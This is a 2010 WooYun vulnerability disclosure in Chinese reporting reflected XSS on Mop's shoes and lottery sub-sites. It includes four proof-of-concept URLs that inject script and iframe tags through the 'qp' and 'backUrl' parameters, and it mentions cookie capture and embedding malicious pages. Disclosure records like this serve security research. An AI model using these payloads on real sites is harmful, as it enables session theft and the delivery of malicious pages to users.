WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2010-0979

漏洞标题：Mop子频道:爱鞋&彩票的XSS

相关厂商：猫扑

漏洞作者： Alan

提交时间：2010-12-17 12:35

修复时间：2010-12-22 15:00

公开时间：2010-12-22 15:00

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2010-12-17： 细节已通知厂商并且等待厂商处理中
2010-12-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

通过XSS代码可获取很多信息,并且利用等.
在这里就不一一详解.首先测试的是普通的语句.
测试cookie也成功了,但是加密了算法相对来说是安全的.
其他的利用也很多,人外有人天外有天,坏人利用了就完蛋.
但是由于可以内镶式的打开任意网页,如果网页被挂马等利用就悲剧了.

详细说明：

http://shoes.mop.com/shoes?qp=%3Cscript%3Ealert(/Alan/);%3C/script%3E

http://shoes.mop.com/shoes?qp=%3E%3Ciframe%20src=http://www.baidu.com%3E

http://caipiao.sports.mop.com/cbportal/userinfo/showLogin.htm?backUrl=%22%3E%3Ciframe%20src=http://www.baidu.com%3E%3C/iframe%3E

http://caipiao.sports.mop.com/cbportal/userinfo/showLogin.htm?backUrl=%22%3E%3Cscript%3Ealert(/Alan/)%3C/script%3E

漏洞证明：

修复方案：

Sorry, I really don't know ~ Because you know..

版权声明：转载请注明来源 Alan@乌云

漏洞回应

漏洞评价：

评论